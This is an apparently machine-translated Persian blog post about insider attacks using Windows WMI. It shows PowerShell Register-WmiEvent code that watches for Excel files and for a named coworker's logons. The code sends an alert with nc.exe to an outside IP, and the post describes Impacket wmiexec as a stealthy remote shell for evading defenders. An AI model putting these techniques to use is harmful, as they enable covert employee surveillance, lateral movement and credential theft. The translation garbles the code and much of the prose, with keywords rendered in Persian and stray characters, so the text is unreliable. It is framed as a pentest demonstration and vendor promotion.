Hacking مخفی با WMI (ابزار مدیریت ویندوز)
با نگاهی به ویژگی ها و ابزارهای ویندوز از منظر تست کننده قلم ، به راحتی می توان از بین نرفت که سیستم عامل مایکروسافت واقعاً است ، منتظر آن باشید ، چشمگیر . ای کاش وقتی روز به روز در لینوکس / یونیکس کار می کردم چیزی نزدیک به PowerShell هم داشته باشم. این پوسته شی گرا است که به خودی خود جالب است. با استفاده از چارچوب .Net ، PowerShell ویژگی های اصلی سیستم عامل و سیستم های زیر سیستم را در اختیار شما قرار می دهد.
در این پست ، ما یکی از این زیر سیستم ها ، Windows Management Instrumentation یا WMI را بررسی خواهیم کرد. WMI متأسفانه یک مهندس نرم افزار تأثیرگذار دارد ، متأسفانه دارای یک جنبه spookier است: می تواند توسط خودی به عنوان ابزاری برای نظرسنجی سایر کارمندان سوء استفاده شود.
مرور سریع WMI
کسانی از شما که می خوانید سری شگفت انگیز من در WMI به عنوان یک ابزار امنیتی ممکن است به یاد بیاورم چگونه توانستم اشیاء سیستم فایل سیستم عامل را جستجو کنم. اگر شما همچنین به خاطر دارید که چگونه من برای راه اندازی یک فیلمنامه از وقایع شروع کردم ، امتیازهای اضافی می گیرید. بله ، من از ترکیب PowerShell-WMI خواستم.
بگذارید خاص تر باشیم. با WMI می توانید مثلاً تمام پرونده های بزرگ اکسل که در یک فهرست قرار دارند را جستجو کنید ، و هنگام ایجاد پرونده جدیدی که این معیارها را ایجاد کند ، مطلع شوید. همانطور که نشان دادم ، cmdlet Register-WmiEvent همه این کارها را از طریق یک خط تا حدودی پیچیده PowerShell انجام می دهد.
دقیقاً همانطور که می توانیم با WMI خوب عمل کنیم ، امکان انجام برخی هک های ناخوشایند نیز وجود دارد. این دانش فنی زیادی لازم نیست ، و شما می توانید یک کارمند شبیه اسنودن را تصور کنید که WMI را به ابزار کنترل کارمندان تبدیل می کند.
شاید خودی فرضی ما – از جمله شانه گشت و گذار – می داند که همکارش لکس گاهی اوقات بزرگ Excel را بارگیری می کند. پرونده های حاوی تأمین اجتماعی و شماره حساب های دیگر مشتریان. خودی مخفی ما می تواند موارد زیر را جمع کند:
Register-WmiEvent -Query "SELECT * از __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile" و TargetInstance.FileSize> 2000000 و TargetInstance ' == مهم 'و targetInstance.Drive =' C: 'و targetInstance.Extension =' xlsx '"-Action $ action
کد فوق از شیء CIM_DataFile برای گرفتن جزئیات ایجاد فایل اکسل در یک فهرست خاص پرس و جو می کند و سپس یک اسکریپت را آتش می زند. بلوک. در پایان این پست ، ما بررسی خواهیم کرد که آن اسکریپت ممکن است برای سناریو خودی چه چیزی به نظر برسد.
Impacket's Stealthy Wmiexec
WMI بسیار بیشتری از قابلیت های مدیریت رویداد آن وجود دارد. فرایندها را راه اندازی کنید و دستورات را روی جعبه های ویندوز اجرا کنید ، بصورت محلی یا از راه دور . برای لگد زدن می توانید سعی کنید این دستور را در جلسه PowerShell خود وارد کنید ، wmic call process 'notepad.exe' را وارد کنید. بیا تو ویرایشگر متن میراث مایکروسافت. از ابزار خط فرمان wmic شگفت انگیز WMI استفاده می کند. خوب ، درست است؟
اگر گزینه "/ گره:" را اضافه کردم و نام آن را از طریق سیستم از راه دور ویندوز اضافه کردم ، می توانم با فرض داشتن مجوزهای مناسب ، Notepad را روی آن دستگاه راه اندازی کنم. بدیهی است ، در سطح عملی ، wmic یک کمک شگفت انگیز برای سیستم عامل های مدیریت سیستم است.
و قبل از شروع فریاد زدن به مرورگر ، می دانم cmdlets معادل PowerShell نیز وجود دارد ، اما می توانم نحو wmic را بخاطر بسپارم.
این عالی نخواهد بود اگر بتوانم WMI را به نوعی خنجر بزنم تا یک پوسته ساده و مخفی خلوت ایجاد کنم؟

خوشبختانه ، Impacket همین کار را می کند. در محیط تست آمازون ، من از wmiexec عالی آن برای دسترسی به WMI از لینوکس VM خود استفاده کردم. Wmiexec یک تجربه شبه پوسته قابل اجرا را ارائه می دهد ، برای هر دستور وارد شده در سمت مشتری ، مستقیماً برای اجرای دستور ، یک پوسته جداگانه بر روی دستگاه هدف راه اندازی می کند.
هم از psexec و هم smbexec استفاده کنید. پست قبلی من – Windows Services برای اجرای دستورات روی سیستم از راه دور. Smbexec کمی خفاش است از آنجا که به سرعت ایجاد می شود و سپس یک سرویس را حذف می کند ، در حالی که psexec سرویس [داستان] را می گذارد.

به هر حال ، wmiexec Impacket از خدمات کاملاً اجتناب می کند ، در عوض با اتکا به قدرت فوق الذکر WMI برای شروع مستقیم یک فرآیند. به خاطر داشته باشید كه WMI معمولاً در وهله اول مقامات مدافع به عنوان منبع احتمالی تهدیدات تحقیق نمی كنند ، در حالی كه این سرویس ها معمولاً شروع خوبی برای جستجوی شواهد حمله است. خوب بازی کرد ، wmiexec!
تعطیل کردن یک کاربر با رویدادهای WMI
در حالی که فکر می کردم در آزمایش های WMI خودم باهوش هستم ، معلوم است که جامعه تست کننده قلم در آنجا بوده و این کار را انجام داده است! من از شما می خواهم که توضیحات شگفت انگیز 2015 BlackHat مت Graeber را مطالعه کنید که چگونه مهاجمان می توانند WMI و ابزار تحریک کننده رویداد آن را به یک ابزار هک کردن تبدیل کنند.
من در پست بعدی برخی از ایده های مت را بررسی خواهم کرد. برای سناریوی خودم ، من یک فرد خودی مانند اسنودن را فرض می کنم که دارای دانش فنی ، اما خرد هکری عمیق نیست و در جایگاه اعتماد است. این شخص نیازی به دانستن همه از قابلیت های WMI ندارد ، اما کافی است تا از قابلیت های از راه دور و قدرت خود برای تحریک وقایع استفاده کند.
در کنار اشیاء پرونده ، یک کلاس جالب دیگر از اشیاء نیز وجود دارد. مورد بررسی قرار WMI win32_LogOnSession است. شما برای یافتن کاربرانی که در حال حاضر وارد سیستم هستید ، از این شیء اصلی Windows پرس و جو می کنید. و سپس هنگامی که یک کاربر جدید از راه دور وارد سیستم می شود ، از بلوک اسکریپت اقدام ثبت-WmiEvent استفاده کنید تا یک اسکریپت PowerShell را شروع کنید. گرفتش؟ مهاجم می تواند به هشدار دهد هر وقت یک کاربر که مشغول ورود به سیستم در ویندوز هدفمند است.
اینجا چیزی است که من پخته ام:
Register-WMIEvent -Query »TargetInstance را از __InstanceCreationEvent WITHIN 10 انتخاب کنید. WHERE TargetInstance ISA 'win32_LogOnSession' و TargetInstance.LogonType = 3 "- عمل" عمل $
سوال بعدی نحوه رمزگذاری بلوک اسکریپت است. خودی اسطوره ای در سناریوی من به یک کاربر خاص یعنی Cruella علاقه دارد که در آخرین پست به آن اشاره کردم. یاد آوردن؟ کارمند شرور ما OSINT را در Cruella داشت و قصد داشت از این دانش برای کاستن از اعتبار DCC خود استفاده کند.
بلوک فیلمنامه باید بررسی کند که چه کسی در حال حاضر وارد سیستم شده است و آیا Cruella نشان داده است. من برای انجام کار چند خط PowerShell آورده ام ، اما خیلی کارآمد نیست! من از اطلاعات رویداد منتقل شده در بلوک اسکریپت – کاربر جدید استفاده نمی کنم. به نظر می رسد به دلایلی که در این مرحله نمی توانم به آن توجه کنم ، کار دشواری است و ممکن است دانش فنی بیشتری نسبت به خودی فرضی ما داشته باشد یا بخواهد یاد بگیرد.
در عوض ، من فقط از طریق لیست کاربران دوباره تکرار کردم. بازگشت توسط g wmi Win32_Process – شما باید سعی کنید این cmdlet را در جلسه PowerShell خود اجرا کنید – و مطابق با "Cruella" باشید. می توانید به راه حل کامل زیر نگاه کنید:
Register-WMIEvent -Query "را انتخاب کنید. TargetInstance از __InstanceCreationEvent درون 10 عدد از کجا TargetIn ნივთი ISA "win32_LogOnSession" و TargetInstance.LogonType = 3 "-Action $ names = gwmi Win32_Process |٪ {$ _. GetOwner (). کاربر} foreach ($ کاربر به نام $) { if ($ کاربر -eq "cruella") { echo "cruella ورود به سیستم" | ج: کاربران لکس اسناد nc.exe 172.31.19.75 80 } # $ EventArgs.NewEvent.TargetInstance.Name } }
نکته جالب توجه استفاده از Register-WmiEvent فعال کردن یک رویداد جدید برای ورود به سیستم است و نه نسبت به اینکه به طور مرتب شیء Win32_Process را ردیابی کنید ، که این یک کار پر سر و صدا است.
سپس این خبر جالب را که Cruella به دستگاه هدف وارد شده است ، برگردانید؟
به خاطر داشته باشید که خودی ما کم است. وی از طریق psexec ، smbexec یا مخفی ترین گزینه wmiexec به سیستم از راه دور دسترسی دارد ، اما نیازی نیست که به سیستم قربانی بپردازد.
و این مزیت استفاده از رویدادهای WMI است. شما می توانید حرکت جانبی خود را هنگامی انجام دهید که اخطار را از Register-WmiEvent دریافت کنید.
WmiEvent و Netcat Together برای اولین بار
کسانی از شما که استفاده از netcat را در بالا مشاهده کردید اعتبار بیشتری کسب می کنند. Netcat ابزاری برای ارتباطات شناخته شده و همه کاره است – لزوماً بدافزار محسوب نمی شود – که پوسته های معکوس ظاهر می شود ، یا می تواند به سادگی پیامی را در شبکه ارسال کند. من با گزینه دوم رفتم.
فیلمنامه فوق یک نت انتظار را در حالت گوش دادن نشان می دهد و "Cruella به سیستم وارد می شود" را نمایش می دهد. ماموریت انجام شد.
شما می توانید به کارمند سرکش ما تصور کنید ، سپس با استفاده از اسرارپردازی Impacket ، ترک کردن هش DCC Cruella ، و استفاده از امتیازات بالاتر خود ، کارمندان سرکش را بریزید.

بگذارید نفس بکشیم. کد PowerShell Register-WmiEvent فوق به طور موثر بار پولی است که می خواهیم در هدف تنظیم کنیم. ما در پست بعدی به نکات کلیدی این حمله می پردازیم و سپس نشان می دهیم که چگونه کارمند مخفی ما می تواند بار را از راه دور راه اندازی کند. ما همچنین در مورد آنچه مت Graeber با استفاده او از رویدادهای دائمی WMI دست به کار شد ، خواهیم گفت. دفعه دیگر!
می خواهید ببینید که چگونه Varonis می تواند خودی سرکش را کشف و متوقف کند؟ برای وبینار زنده حمله سایبر ما ثبت نام کنید!